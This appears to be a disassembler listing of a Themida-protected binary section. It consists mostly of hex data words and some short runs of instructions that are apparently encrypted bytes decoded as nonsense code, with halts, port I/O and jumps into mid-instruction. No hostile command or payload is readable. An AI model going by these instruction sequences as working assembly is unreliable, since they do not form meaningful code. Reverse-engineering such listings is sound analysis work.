dd 0C55CB35Ah, 28E1CAE8h, 30784438h, 72E02350h, 0C8305BB1h
dd 0C720D878h, 0A0110007h, 6041987Ch, 0E42475E7h, 9068B0E1h
dd 28D0A425h, 4778204h, 0E978E7h, 4FAF743Eh, 14E4209Bh
dd 0C39082D0h, 22C8C0DBh, 0C0B1DF0Ch, 31DE7BAFh, 85952CE1h
dd 5C81251Ch, 92E1DE8h, 0B85A7E8Ch, 40485D2Ch, 4E78903Dh
dd 0D380FD32h, 0E58F28DCh, 683440E2h, 28F2A74Bh, 4C081AE4h
dd 51278879h, 0E67A1C68h, 0A780B816h, 3490F413h, 958AC6C1h
dd 29908C10h, 19E4EE14h, 7E748188h, 0C8FBD8ACh, 19DD227h
dd 89984170h, 0E4D9CCC2h, 0C7CE1B6h, 435F8D00h, 2873B380h
dd 0F0E22DF7h, 0AC322880h, 350F6AE7h, 0E0EC9861h, 0A4267194h
dd 0CE210F8Ch, 0E8FC5E44h, 372905C4h, 0C0A750A5h, 9EBDF20h
dd 99D85D1Ah, 97806190h, 0CF09C80Ch, 9DE3E2h, 8371AD84h
dd 0EA782C8Ah, 0B20608FCh, 0B465A900h, 20E80C84h, 29710B21h
dd 60241490h, 19001CE1h, 0A0D0CBDAh, 0B8390021h, 3643A91h
dd 0A4B51CCh, 0CA8FBC20h, 0BDE00CBh, 0A7470D22h, 0E130C31Ah
dd 0A84F497Ch, 454BA0Eh, 0E6744029h, 98A828h, 5550FA98h
dd 0CD19C1h, 6D356B0Bh, 26EEE447h, 0E50B1398h, 0A2C31B8Ch
dd 0A7AD5C48h, 0F37189E0h, 0EF490FDh, 480197CCh, 2847025Ch
dd 0FFFC80F4h, 9416EE4Fh, 7D460B4h, 9F01415Dh, 917ADAACh
dd 47221AFh, 29908175h, 0DBF12BCh, 3C5090CAh, 0EF980079h
dd 0C118B76Ch, 9A35E2F3h, 6804204Bh, 4CB0AF7Fh, 3DAD027Dh
dd 0C13C0B4Eh, 0F496E044h, 9050C625h, 9E0C0004h, 0DF9C33E2h
dd 8C275CFDh, 58FC9207h, 0BE663010h, 0A55BB808h, 6F88F351h
dd 0A2AB7044h, 5A005CB2h, 644F2F9Ah, 0E3512419h, 12743808h
dd 1BE39E5h, 53E122ACh, 840474E0h, 0F34A94A0h, 828884BCh
dd 1BE40BEEh, 61208418h, 0E1C999C2h, 716CE819h, 0D0A228E6h
dd 60F32FF0h, 0A22724A5h, 0F25D0C7Ch, 85D867h, 7A561F21h
dd 0EEA49DDAh, 5B8DAA00h, 71F45413h, 93FD26E8h, 0E4C980E4h
dd 0FE6F39EDh, 70E04348h, 8C507E6Ah, 3209D004h, 0C61704A9h
dd 905025ACh, 0ECE7CF2Ch, 0C8E03897h, 0BDE23FFEh, 93AD4861h
dd 8641D2BFh, 0F7B5F0E4h, 5E5C8C4h, 409CDCCCh, 4600CDDEh
dd 3F1C275Ch, 0A3E6065h, 1D48E134h, 2CDA1C84h, 1861392h
dd 318019A8h, 30C6BB0Ch, 5B8C40F8h, 30E2E2DBh, 0AC80442Ah
dd 36057888h, 4E6F7C16h, 0DE0004E3h, 0AF71298Fh, 8A34CDCAh
dd 58B218A7h, 0C994CF82h, 876518D4h, 10D38A0h, 0CA2BB1B9h
dd 40B4DA6Fh, 0E2508FDCh, 0C0901948h, 0D5CCA2Ah, 242C918Ah
dd 478F012Ch, 8738E6h, 9E790A65h, 84B027D0h, 7F603EE8h
dd 0CBE20EB8h, 21D0A839h, 0FA31F1EAh, 28AA4080h, 0D405649Dh
dd 0BD5A5401h, 0F7EFCF5Eh, 0BAD18880h, 6B0A129Ch, 0CA24341Dh
dd 6D910500h, 9555E15Ch, 80D8D0A9h, 52E5A30Ch, 1615886h
dd 557827Ah, 7C9D3F7Bh, 4C0AC080h, 12747E35h, 129823D3h
dd 7968015Fh, 3E65D4E6h, 940D0C00h, 1A7BB746h, 903458CCh
dd 9320A8E6h, 1EB50067h, 92281A25h, 0E0484317h, 16D2007Bh
dd 14538E49h, 0BE4A01CBh, 0D4E2D521h, 0ED2424BDh, 7D3C3839h
dd 0B45D535Ah, 0A105EF07h, 26CA89F3h, 170D028h, 2F106BF6h
dd 0D69C64C4h, 38D42153h, 10F932CFh, 808C51DCh, 230E4969h
dd 8CB2ADCFh, 0C434854Dh, 0B8ECA48Dh, 302FD488h, 0C3F71A8h
dd 0B601E672h, 4EF0DA90h, 0BE005F7Fh, 0DDC31C29h, 95942A3h
dd 36F19183h, 58E2E402h, 0A4925EE0h, 8DA6ED01h, 0FC4A9DB0h
dd 0FFFE0C20h, 5CEC8A00h, 0A45DFB28h, 0B1235EAh, 70A673D6h
dd 122C345Ah, 0E450CCE0h, 829525B8h, 29697C0h, 10D8DF60h
dd 0FE67D16h, 8B378042h, 30F8E6E7h, 0B751B258h, 0D65A0FC9h
dd 0E0B860C3h, 1D1DA71h, 0AB7BE81Eh, 2BB1CF4Eh, 0AF25DC01h
dd 1F2E3D7Ch, 96B0C24h, 697A2150h, 65D2E824h, 8BD48727h
dd 1C24C4B9h, 0C47DEA65h, 0F2A7621Fh, 0E6F21A4h, 6B657C02h
dd 82ACA86Dh, 44A32DE5h, 4FC91F04h, 0C1C1B588h, 52DFC2E8h
dd 0CF100694h, 13A89450h, 0FD210166h, 0D0154B17h, 0B3ECBB8Dh
dd 0E41DEE04h, 0F0EC89CCh, 1E988828h, 8C367971h, 0D1CAD275h
dd 0DE45E07h, 51E07CB2h, 70E6E7h, 7A1EE19Ch, 0D53FE5E0h
dd 0F0BB9B28h, 0F10B3372h, 71C9C86Ah, 1801608Ch, 2558EE72h
dd 7FED0000h, 0F85C6973h, 0A7B8C0D5h, 0E5DDFC98h, 0E4C84C4Eh
dd 0BF1F375Ch, 85AE6720h, 909C121Eh, 5E8B6C94h, 0E54254B6h
dd 4485066h, 8ECCEC1Dh, 0BFCE8CFh, 71A8F9A4h, 4BE88990h
dd 714A04C0h, 0C8203D5Ah, 0ECC7C19h, 26444B88h, 2F06CEE0h
dd 0E850B0E1h, 2043A98h, 86F8578h, 25CF5098h, 9C64F242h
dd 5B5C50A0h, 89D00460h, 17AFD1Ah, 0AF8E7902h, 0F46F9FC2h
dd 76071E8h, 7D0B1A40h, 5496009Bh, 38DF110h, 0C9159C3Ch
dd 4BE8D749h, 5CC8F4C4h, 640E5A01h, 0B06CF0F4h, 49FCFF4Dh
dd 47821410h, 647503F4h, 0FE56CCFBh, 0A78D0120h, 299E8A94h
dd 86FC419Ah, 3038CC76h, 0DDCDD904h, 9CE0D86Bh, 0FDA11FB4h
dd 7EE60137h, 0D44F7CC6h, 5090C512h, 8B096024h, 7A8D7609h
dd 0B71B3E84h, 0AECCE286h, 7A007093h, 0F7D6AAABh, 44EEE5h
dd 28B1545Dh, 1884ACE6h, 207D9E07h, 0B0DDB2CCh, 8A2C4C80h
dd 981FE5FBh, 7004835Ah, 8700C7FDh, 32C999A6h, 0A4437D5Fh
dd 0C4AC7210h, 6BEF5080h, 8C483921h, 0E2241200h, 5AC496E1h
dd 0ED15E403h, 8827AC4Eh, 1E490ECAh, 0C364E535h, 36977B80h
dd 8FEBC094h, 16012403h, 46CE7109h, 35FDCF5Fh, 887B8093h
dd 0FA162884h, 0F88334E2h
dd 0F1CFE0F3h, 0D8C8CE5Bh, 7EB89A80h, 0E3021FE4h, 0A722C9F8h
dd 715C61F5h, 84002462h, 264398DEh, 0AE0040D1h, 0A4C7376Eh
dd 25C13E30h, 34478ACBh, 8C9BF284h, 40D6709Ch, 0FE09AFBDh
dd 293E805Ch, 0CAF400ACh, 5A97Ch, 8E426D4Bh, 25D5ECBAh
dd 0D9C1F401h, 620C5C74h, 0C9B23082h, 7CD43647h, 9DCF43h
dd 0DE548AD9h, 0E1AC7520h, 3C802E4Ah, 0F0BC0E63h, 119C61AAh
dd 0A42D47E6h, 40E9E898h, 0C177A334h, 5BE67428h, 0D2EC3D2Ch
dd 8D1428CAh, 0DA127447h, 0A08894BCh, 9230CF2Ch, 8A21B0CAh
dd 305E255Ah, 69C35883h, 87CDB83Dh, 0FD7B485Ch, 0A0FBD583h
dd 7673450Bh, 0EAF05A5h, 80FA16B2h, 0FCC9BE00h, 0C9ECC648h
dd 83E4E878h, 4C299511h, 0A55CF4C0h, 0BD989367h, 80C8C7C4h
dd 69D098EFh, 0B0403087h, 0C109D1E0h, 71469D1Eh, 847CA4C4h
dd 0B24480DDh, 60127860h, 0BD1E1F59h, 7A682125h, 19A05F97h
dd 38035FF8h, 0DC49E5E0h, 48B23B54h, 835C0078h, 0A311C718h
dd 174D789Ch, 0D4149733h, 13B4F884h, 4F34F85h, 0C91DBCD1h
dd 0A8B86CC1h, 2CD44D0Ch, 0B0C625Bh, 6F817927h, 26A108Bh
dd 0FE5C7158h, 651894D0h, 0A216778h, 0E4029FD0h, 0D0F620E4h
dd 61C04883h, 0DB7AA13Fh, 138074C7h, 0F067F1EBh, 1E6F6648h
dd 0E61F1109h, 0FC440028h, 0F3ECC34h, 494FC9C0h, 9729F441h
dd 865D4C85h, 8B08851h, 820420h, 256557D2h, 93CD5C91h
dd 2170049Eh, 0A0615CE6h, 32FBE182h, 41F110E8h, 6EA3890h
dd 0A85F8E35h, 48840482h, 803B3D54h, 0DB00BA8Dh, 0D99717FBh
dd 0E2B04E1h, 6D0D8E0Ch, 0B08036Ah, 8D94C25h, 0E4512942h
dd 90FB5998h, 108844Fh, 0E550DBCCh, 801828EAh, 3B33D374h
dd 5C7D0CB6h, 0C148929Ah, 802C9C48h, 0D694B30Eh, 89DB03DCh
dd 2C5C0F11h, 1A4B8FCh, 66F8315Ah, 4079FB7Ch, 80C2BC13h
dd 0F79569E4h, 0FDEBCF00h, 0C6E0431Ch, 0DC71F1h, 5E53CDB6h
dd 1657C727h, 6414120Bh, 0C698A5EAh, 18E64052h, 0F2AA6513h
dd 0B4C68494h, 7328498h, 0EA02848Ah, 0CEAF50F1h, 0D60C91A2h
dd 408781E1h, 9C8C5978h, 0F37B4860h, 2900D36Eh, 0B9800A7Ah
dd 16FCFF31h, 5014CC06h, 0F0954428h, 0E066C912h, 774FE88Ch
dd 0D4D41493h, 2F404F12h, 68E13FC2h, 0F1480070h, 0C9F705F8h
dd 5CA44EF9h, 9A110472h, 0C7FEEB36h, 85601FECh, 5D37E1F7h
dd 25B858D7h, 2972B613h, 7743180h, 0D7CC474Ch, 0C910FCA4h
dd 1654C356h, 18E2A663h, 8D8B6A82h, 71A0D4E0h, 53818509h
dd 0DF446B01h, 5CDCC9F2h, 3D003C58h, 373E7A63h, 0E61275BEh
dd 4C82F688h, 8A456C1h, 8B074A9Ah, 68D3D372h, 0CD5D9BAEh
dd 0D428E8D0h, 61114A88h, 6E50FB0Ch, 5F5DAC21h, 69BC9040h
dd 7E3A0003h, 1C9997ACh, 210081E0h, 863FDBCEh, 60715C43h
dd 60AB584Fh, 0B8B0645Bh, 0D4C12826h, 4F125C87h, 0CC581B95h
dd 1C903E8h, 5D907B72h, 6A67E85Ch, 0E3E7C000h, 0C2E07Ah
dd 0D2FC61ECh, 84262E34h, 851A5C00h, 0B30830CBh, 4F11E35h
dd 4F5087EAh, 0C74EC05Eh, 3400B69Bh, 0D7E193C1h, 9F85A9h
dd 0B2B319DDh, 3FEE5C25h, 0FC2FD200h, 3E08AD04h, 8FB8079Eh
dd 0C348D6D8h, 19E0821Bh, 0D3607C85h, 64B12238h, 147309Ch
dd 4F83778h, 55AD50C1h, 6CFCD6C7h, 99C531DFh, 3146328h
dd 1A18E11Ch, 3AB057DCh, 696FF478h, 0A15EDD07h, 87E93EDCh
dd 118A0748h, 15C283h, 318D8710h, 0C7030A7Eh, 0E4BFFB03h
dd 1112B9Fh, 14DF5479h, 80EF51DCh, 0DA16A210h, 60282FDDh
dd 0C63AD8D5h, 0E0628D91h, 60A88F70h, 0DC9EBD20h, 0B1003E61h
dd 71390EFCh, 10C3FF07h, 183E042Fh, 0F83D1940h, 0D70C3FE9h
dd 18B67A87h, 0B8EB6EB3h, 478049B9h, 2FF2800Ch, 10C0FE73h
dd 0DE91A63Ch, 661E0090h, 0F288347Fh, 0B500D868h, 0FE72B242h
dd 0A24463h, 82C7C689h, 0C0CA34BCh, 1CDCFF26h, 871E7100h
dd 0A0B4FE8Fh, 825924FCh, 0DC2F6340h, 0BC682960h, 114D8Dh
dd 87C9896Fh, 0F60BD47Fh, 9C38000h, 0B8E24669h, 0FFE107EAh
dd 0C06B0785h, 0AAFC4B1Fh, 0A04EDC18h, 489B6FC8h, 35383414h
dd 85976A02h, 71037EB3h, 0DCE10CB1h, 0BB30145Eh, 9B5C8518h
dd 14813D18h, 14763464h, 0B4180E74h, 0C080996Ah, 286CDC77h
dd 0F88D38C0h, 0F8C432D6h, 0C9F30037h, 3FBBEDAh, 760F1A3Fh
dd 38DD859Eh, 387348h, 34B8180Dh, 0EEFE55C3h, 9B646007h
dd 506CD1DBh, 8A960111h, 3E8687CAh, 37F8F498h, 0E83EF275h
dd 0CE2F899Bh, 777420D0h, 4B3B7B1h, 0EC04910Bh, 0AF6C9121h
dd 387420A1h, 0F788F81Eh, 79879340h, 12A94629h, 50E037A4h
dd 6100F8A0h, 0F7125DF4h, 42ED877h, 0B033E91Bh, 4B50003Fh
dd 0C98C92EDh, 9E009C9Fh, 8D57B2B4h, 0EE43D6C0h, 931A1016h
dd 7C3C006Fh, 0F7DCE2DFh, 0D660C0BFh, 0D87D1C11h, 0E4A09C0Dh
dd 1FC840FAh, 938F2485h, 90E080C0h, 2F8452C7h, 0E02BFE30h
dd 194994DCh, 10E44CB0h, 9942B19Ch, 61A003CDh, 0B1721884h
dd 2F499081h, 41CA5130h, 5569DB9Ah, 0D442D489h, 39D48C34h
dd 8E9F1BEAh, 67B0B809h, 560016D8h, 422375B7h, 4C7C52Dh
dd 9D7DBFFAh, 34483B5h, 37DFC1F0h, 581DDA2Ch, 6B57E800h
dd 0E2A0EDh, 7F46C54h, 0BC909F74h, 2F4FE8DFh, 0E72706C0h
dd 0D348A010h, 0A3F11F08h, 86C814EFh, 643A127Ch, 1BD043DFh
dd 0E80C76E8h, 0A07AB59Fh, 5CC65034h, 0F078643Eh, 965C44B0h
dd 8BC570C0h, 0F616CA4Eh, 86A98898h, 6094741Ch, 42F00FABh
dd 7DFC195h, 0DDDC1190h, 4C0E01F3h, 0EC853463h, 0A6DEE8ABh
dd 0ED303D77h, 55E9407Ah, 4FCD396Dh, 8A26B9BAh, 99F8258h
dd 608FB361h, 0B10F2A06h, 753DC543h, 8D75513h, 891D7CACh
dd 2D9F1742h, 2C8CA59Ch, 0D63C1801h, 0E8418591h, 0D2868DB1h
dd 200612DCh, 47EDEC07h, 0EED788ABh, 0DE15D080h, 0B72F1845h
dd 0B94C40E1h, 0CDDA520Eh, 3E0143Fh, 9D2FB583h, 16200038h
dd 0DF743AEFh, 26283CE8h, 4AF9A83Dh, 783A26B4h, 5585BC07h
dd 0DA5425C9h, 6818148Dh, 3D3C329Ch, 2885BB28h, 4C1814B8h
dd 9C121320h, 0C00CCE38h, 7BA77011h, 0B55E76FDh, 0B5EAED43h
dd 0C80378C1h, 9C187F0Ah, 0B1506383h, 0F0600025h, 48B77073h
dd 0B6027817h, 0D4C10A76h, 0C4A44042h, 93B80BFBh, 6C087007h
dd 4A2F0608h, 81E180B5h, 0B2B18718h, 0C03E6FAAh, 0C7DF0C6Bh
dd 0CE64B90Bh, 203416BEh, 0DF000840h, 9EB71BAEh, 984C64DDh
dd 3ED740DCh, 25FA9898h, 0CDB970Ch, 50813056h, 7E6F9C67h
dd 75902E3h, 0A6DCEE95h, 25B6E048h, 0E0449814h, 0A03480BCh
dd 1461410Ch, 0D0C6B40Dh, 0DC110530h, 5C9AF5E2h, 0B41110A2h
dd 0FA73D450h, 192469F6h, 9B01DE89h, 5824DCB9h, 18F3093h
dd 3D213CD4h, 431C4179h, 153C40B0h, 1460779Fh, 85253B18h
dd 288060A3h, 12B447EAh, 0E8F73729h, 0BB88843Fh, 7C815C3Ch
dd 4A001CC1h, 3E40A62Fh, 2D761F49h, 0A8DA402Ah, 2E8B34BEh
dd 9EC12F12h, 0DF12D807h, 0C4C88D12h, 55E20320h, 42601ECBh
dd 64E33DBAh, 583CA924h, 6F0D1A16h, 0C04110B4h, 88E34E2h
dd 0CBBC24CBh, 5C3B613Dh, 7C912D8h, 9451C12Eh, 968FA207h
dd 6F454F57h, 0DC527494h, 6432E813h, 744488DAh, 7A180410h
dd 0DDEA80F2h, 0BD81180Eh, 6BC62087h, 371E60h, 12BC89FAh
dd 0DB3B2F5Fh, 9FEE84A0h, 38885133h, 22C87836h, 251AA8C3h
dd 45B1753Dh, 50442804h
dd 24B408DFh, 2E543A7Dh, 0AECE0214h, 0C4415791h, 0C43D0362h
dd 58C6A0C1h, 0E8A19012h, 20101941h, 851EBD18h, 333EDE96h
dd 9B1AF1EDh, 0AC27C578h, 836BB880h, 0B04F0BCFh, 809BD590h
dd 0C3ED58C0h, 0E9859C09h, 14204E88h, 0F08F352Fh, 9391713h
dd 688F26E8h, 480A4D86h, 10DEC431h, 4B00F5DCh, 0FA00769Fh
dd 1E5CB1Dh, 1C0FDE3h, 5BD907D2h, 80059E2Fh, 7D1E4328h
dd 3E468CD4h, 0EF0058BAh, 4BECC59Dh, 14662F7Bh, 84A82651h
dd 3F9880DCh, 7D872ED4h, 3728CFF8h, 43037826h, 0CF19659Dh
dd 563642C0h, 8D870046h, 0B0F1623Eh, 59542E9Fh, 0B9692890h
dd 36743948h, 17EE1020h, 2C64674Ah, 2F05F4A0h, 89F79FB4h
dd 0B4007894h, 3D223CECh, 3214A07Ch, 39C024C2h, 0A8171864h
dd 0C082A3F2h, 6978588h, 3A9F1A91h, 981248FDh, 0AB00CEEAh
dd 0CAAF5903h, 59C1A46h, 8D8850BFh, 67F30DF8h, 0F64C6110h
dd 0AB0D4A1h, 0BDEC58ECh, 0BF000499h, 0B19C7C46h, 0B738C38Ah
dd 0D1C42FD5h, 301AE4E0h, 0CFF7817Dh, 34E8C0E1h, 0A7017B5Ch
dd 0B4A913BDh, 0F098112Ah, 9577053h, 437E4914h, 984693CCh
dd 0FCC8B151h, 1304988Fh, 470D11DCh, 83BB8330h, 0B1112F95h
dd 0B624E97Ch, 3D300820h, 4B843B01h, 0C186B4B0h, 0B877EE9Ch
dd 8803F7F2h, 0E6DC5499h, 1920000Eh, 0A210AE0Bh, 8C501CECh
dd 0DC182EDCh, 11209751h, 0D737006Ah, 9E78BE86h, 0B17C8287h
dd 0B70BD971h, 83D08DA6h, 86C52FFCh, 0E0974D91h, 0B1DC9C82h
dd 0CA3B8C45h, 659C5442h, 2868C829h, 13BF1264h, 0DC204E3Eh
dd 0BA68C1D2h, 20233Dh, 0E7EFDB48h, 1D74797Dh, 6E87B683h
dd 0F3A607ADh, 32D40037h, 0B5028F80h, 789AA777h, 0B26461F5h
dd 5F88EC4h, 96A09857h, 458D25Fh, 75F02464h, 0EEB54400h
dd 6B902648h, 0F1BFAF0h, 12F83217h, 74E2E580h, 90E89D33h
dd 0F83E962Ch, 0F8C9D49Bh, 112CDE5h, 7D5770BDh, 409AB49Fh
dd 76F4BC8h, 0C84A64BAh, 60264062h, 808570h, 4CB848B6h
dd 59522EEh, 0C8F83F26h, 9A8F4782h, 983CC638h, 2C0A474h
dd 85B9AFB7h, 78493314h, 0F49421DBh, 0C33FDA41h, 1290A09Fh
dd 1227333Ch, 0D7F08C74h, 0B0BBDC30h, 548DB0BAh, 0ECEE8E3h
dd 0A0938F91h, 4E40ACACh, 78AF552Eh, 81267410h, 8BA2406Ch
dd 0B01756A0h, 181DD555h, 0B816747Eh, 63189F58h, 707B7B8h
dd 0BE8B7BA9h, 0B0CDC485h, 0A4A06840h, 1C814539h, 0D906F032h
dd 88DE3C04h, 24389924h, 2D72406Eh, 28BA5B5Dh, 0C193DCE8h
dd 3EB56F18h, 2B508869h, 0A249024Eh, 58486388h, 8090931Eh
dd 0D937160Ch, 58A25106h, 0D1002425h, 2F51DEE6h, 0E892A819h
dd 4DFA7500h, 359CB7DBh, 0F99D303Dh, 23C7DC11h, 5C3F40DDh
dd 0B1D11034h, 0B0084C51h, 0C057719Fh, 6F124B68h, 8329DCE7h
dd 0B060E422h, 0C915662Fh, 37007810h, 0F0EBD206h, 0FFEE5603h
dd 96BF2F6Ah, 6C8A1220h, 79740180h, 14AC6Eh, 0FF3F630Bh
dd 80CF8080h, 0D0B70629h, 84E781F0h, 67DCED11h, 71B3B090h
dd 564500F6h, 7EEBE80Ch, 11F462D7h, 0C2896E02h, 0A01C502Fh
dd 0BFB9984h, 29D8F1CEh, 82B203B8h, 4DB3B402h, 0E8685B8h
dd 0DF00F892h, 0C0ADA2EBh, 1F898A87h, 3020580h, 0D43550DEh
dd 38E107D3h, 0BA0840F6h, 0C29073E9h, 0A6000CF4h, 33948B3Bh
dd 0FAF128CBh, 0F89104h, 305B6081h, 0E051370Eh, 41FEBF7h
dd 42C9657Bh, 50780F1Fh, 0BF2AF400h, 7402DF77h, 0B0BC8424h
dd 16B30F3Fh, 4CD8207h, 35041F3h, 768EC004h, 0B93EAD46h
dd 9DD3161Eh, 2C045456h, 4088F137h, 12D59887h, 0E2F2305h
dd 6A21BD85h, 28A3F355h, 0F3DC8F34h, 7F8510C0h, 4D50BAB6h
dd 103C1CC7h, 0B95C3DC0h, 531E1158h, 78812118h, 68B90462h
dd 0B602741Fh, 4084EA2Fh, 94A6CF60h, 9760ACD0h, 573401DFh
dd 343F489Fh, 0EF00BB98h, 0FC94EEE9h, 252F8209h, 0D413FB70h
dd 48E99AC2h, 0D3342834h, 0D73FCC01h, 77185B5h, 0A8141894h
dd 8A05039Fh, 21C03469h, 19030318h, 0F3DB8BCDh, 89F027B6h
dd 2C00C40Bh, 0B41E4FDAh, 2F43501h, 8206EAC2h, 0ECED7CCh
dd 0C932D946h, 8C25C71Fh, 8D7F3B0Dh, 188F07C5h, 0F91F8288h
dd 14464181h, 0C3E396EAh, 0FB025B80h, 51387BF0h, 825C8001h
dd 77462EF3h, 0F7D2F872h, 252D3400h, 57545D01h, 2A4DE3BFh
dd 30EA56D4h, 0D122925Ch, 0F43D81E4h, 951F1591h, 632341Bh
dd 0BE562100h, 0C724726h, 0F919EA4Ah, 0F60E8288h, 7D57305Ah
dd 0A250EE81h, 0ECF1D417h, 607438C0h, 21CE0C0Ah, 27C6F89h
dd 8A3C4FCh, 4D819600h, 0DFF8620Ah, 0C74C71EAh, 733CB784h
dd 6814F0B2h, 685905Fh, 3E6D695Dh, 6882FE22h, 1C0F0A1Bh
dd 678EB98Ch, 0EAE3158Ah, 200165F6h, 52A0C881h, 0EBC8FE89h
dd 1D8C005Ah, 0E38A5325h, 555C382h, 88060898h, 0C15D46C0h
dd 5204EBh, 0C058E28Ah, 4C432F37h, 3E8823Ah, 0EA44956Eh
dd 1B59E5D9h, 69FD48Bh, 0D909CC9Dh, 21E5EC8h, 0A95E5FF4h
dd 0E3C212F0h, 0F8533008h, 0ED845B38h, 3D623290h, 0A4FA6C2h
dd 5359001Fh, 294063BBh, 7385D65h, 351AFB00h, 44EA2E4Ah
dd 310E597Dh, 60C15AF0h, 51D8F704h, 3CA778B5h, 0DD0607E5h
dd 2C6D40EAh, 9E886028h, 6DC356F2h, 42E48A54h, 20A85EAh
dd 14DC60FCh, 1D888E03h, 0C1B81000h, 0CD419369h, 0E04C8A18h
dd 11D05A74h, 3635581h, 5B8BEA27h, 1B580A3Bh, 830C79F1h
dd 0F5244375h, 601E307Eh, 0D88850A5h, 0F836CBE4h, 881008D2h
dd 5425EA96h, 0AE3DF1Ch, 5391565Eh, 69588190h, 0EC7F8051h
dd 0EA194860h, 0C42D4E57h, 0A694940h, 0C4B1D411h, 23EEA0Ch
dd 893CC3FBh, 995903Bh, 1BD83424h, 0D050632h, 5EF845Dh
dd 3500D75h, 0D807142Ah, 8A563CF9h, 40C682E6h, 0B6BA520Ah
dd 8759CD60h, 0E924072Ch, 17FFE1BCh, 7334635Eh, 48B401Fh
dd 0E20767A4h, 167DC281h, 0FAEA83C0h, 7F147F87h, 421C625Ch
dd 0D709F817h, 2D022086h, 0D96107F8h, 5AD58818h, 638BECCCh
dd 285F320Ch, 68D22433h, 9B14C99Ch, 77FF1280h, 59669D1Ch
dd 1FC6D37Bh, 4AD69Ah, 0C15BD821h, 0C83108E8h, 9854523Fh
dd 813C7B4Bh, 365F03EDh, 0F5010C8Ah, 880C5C2h, 74FF555Eh
dd 5D04240Ch, 285C788Fh, 0FE6EC481h, 1959FE34h, 12570168h
dd 54268289h, 8FEC8158h, 8C47A14h, 0D19209A8h, 22C8460Ah
dd 51588318h, 7C12A3B9h, 0FFE9191Eh, 99311070h, 8B0633DCh
dd 7A59B6D7h, 57986CE9h, 0DE0F684Ch, 0AA69F240h, 39822Bh
dd 0AFA2FBB9h, 7DF901A3h, 51112A5Fh, 12EA82DCh, 154116Bh
dd 0D7E9C440h, 5510C529h, 5DD72368h, 0D69F59BBh, 0E915C7CBh
dd 2AC80AFh, 4840D1EAh, 67074066h, 1EB80A36h, 6937348Bh
dd 329B608h, 3C8BFA01h, 6E404A14h, 5A94D8A9h, 16E83C75h
dd 0C78D0BBh, 0FFB6BC35h, 7C123160h, 4E0C638Bh, 3ECF8385h
dd 3265C8Ch, 5DAA0051h, 0DF3127FCh, 431C8B29h, 0E9F98984h
dd 30ED286h, 5A205709h, 0C1A46F81h, 4065A4DCh, 210F84CEh
dd 0C100047Dh, 0FBDEF09Ch, 0AB88A9E9h, 505804A6h, 507E7F68h
dd 0C48134D4h, 3258360Ch, 13A6D412h, 0C9D988B1h, 0B7FD41CEh
dd 0AF59A228h, 76C7C20h, 315C4C05h, 7813A212h, 84B1BECBh
dd 0F657818Ch, 51274D5h, 2B6BC0DAh, 0E95612A8h, 29154EFDh
dd 95440DD7h, 41FE0D51h, 0BA5A55C8h, 0E6BD066Ch, 2A5E381Ch
dd 35402BEh, 77B45066h
dd 58B0E588h
; ---------------------------------------------------------------------------
loc_518B7C: ; CODE XREF: Themida_:00518BF7j
xor dl, ch
xchg eax, edx
setalc
test al, 65h
push ebx
push edx
or [esi+24ADE935h], esi
pusha
pop ebp
sub byte ptr [edi+3B9C4BA7h], 64h
add [eax-41h], ecx
inc eax
or [eax-66h], bl
das
add [edi+ecx-41h], ebx
enter 0FFFF8957h, 0E7h
popa
lock add [esi-17h], cl
mov [eax+eax*8+0Ah], al
xor eax, 6E61EA7h
hlt
; ---------------------------------------------------------------------------
dw 48BAh
; ---------------------------------------------------------------------------
jmp short locret_518C27
; ---------------------------------------------------------------------------
dw 6626h
db 41h, 85h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esi, edx
jge short loc_518C0F
outsd
jnp short loc_518BE4
xor [ebx+edi*2+94F2430h], eax
jg short near ptr loc_518BCF+2
dec ecx
push ecx
loc_518BCF: ; CODE XREF: Themida_:00518BCBj
test dword ptr [eax-167EA65Ch], 0F863860Ch
db 67h
std
js short loc_518C55
sub edi, [esi]
sub ecx, eax
xchg eax, ebp
cmp al, 0Dh
loc_518BE4: ; CODE XREF: Themida_:00518BC2j
cwde
db 2Eh
pop dx
pop eax
or [ebx], edx
add [ebx], ecx
push eax
pop es
cmp al, 4Eh
adc al, dl
popa
sub edx, ecx
nop
jp short loc_518B7C
or [edi+58h], bh
paddq mm7, qword ptr [ebp-2E1C2265h]
jmp near ptr 90FC2302h
; ---------------------------------------------------------------------------
dd 0A3027389h
db 0FDh, 0D9h, 0D5h
; ---------------------------------------------------------------------------
loc_518C0F: ; CODE XREF: Themida_:00518BBFj
or [esi-55h], edx
inc byte ptr [ebx]
mov ebp, 7C8662FAh
push edx
icebp
cmp bh, ch
cmpsb
xor dh, bh
wait
add esp, [eax+10003C6h]
locret_518C27: ; CODE XREF: Themida_:00518BB4j
retn
; ---------------------------------------------------------------------------
dd 55D3F758h, 0E26DE8E9h, 0D110565Dh, 3F6E0B5h, 7EDC0DDh
dd 63E7CD80h, 0F5B008E5h, 0EB482897h, 50DB1033h, 2D24C045h
dd 0F2896F66h
db 0E6h
; ---------------------------------------------------------------------------
loc_518C55: ; CODE XREF: Themida_:00518BDBj
daa
dec eax
push ds
jbe short loc_518CB6
db 26h
jns short near ptr loc_518CBA+2
adc [eax-62h], eax
insd
aas
sbb [bx+49CAh], al
push es
shr edx, 0A0h
leave
test byte ptr [ebx-36h], 26h
xor ebp, eax
mov ebx, edx
cmp al, 0A7h
retf 68D0h
; ---------------------------------------------------------------------------
db 28h, 81h, 35h
dd 620CD591h, 0E18633C3h, 4ED0631h, 0F3A4755h, 0CC8B60Fh
dd 8AA85051h, 96CDA611h, 1B216655h, 68004A10h, 929B5F20h
dd 0E9750118h, 36E569ECh, 715F1300h, 8102115Ah
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_518CB6: ; CODE XREF: Themida_:00518C58j
push esp
adc eax, [ecx-7Ch]
loc_518CBA: ; CODE XREF: Themida_:00518C5Aj
mov esi, 843F8205h
add eax, 0D8B326ADh
add [eax+58h], ch
sub [edi+27h], eax
pop edi
sub eax, 4D12045Dh
dec ebx
add eax, edi
les eax, [esi+40h]
out dx, al
mov ebp, 2DC4E6Ah
sbb [ecx+10D6EF5h], al
out dx, al
call far ptr 26E9h:18C2929Ch
hlt
; ---------------------------------------------------------------------------
db 8Ah
db 5Ch
; ---------------------------------------------------------------------------
loc_518CED: ; CODE XREF: Themida_:00518D02j
db 64h
cmp al, 88h
add dh, [ebp-707A1CC9h]
add [esi+ebp+69h], ah
jns short loc_518D38
xor edx, 53050393h
jnz short loc_518CED
fimul word ptr [edi+2FBA6803h]
; ---------------------------------------------------------------------------
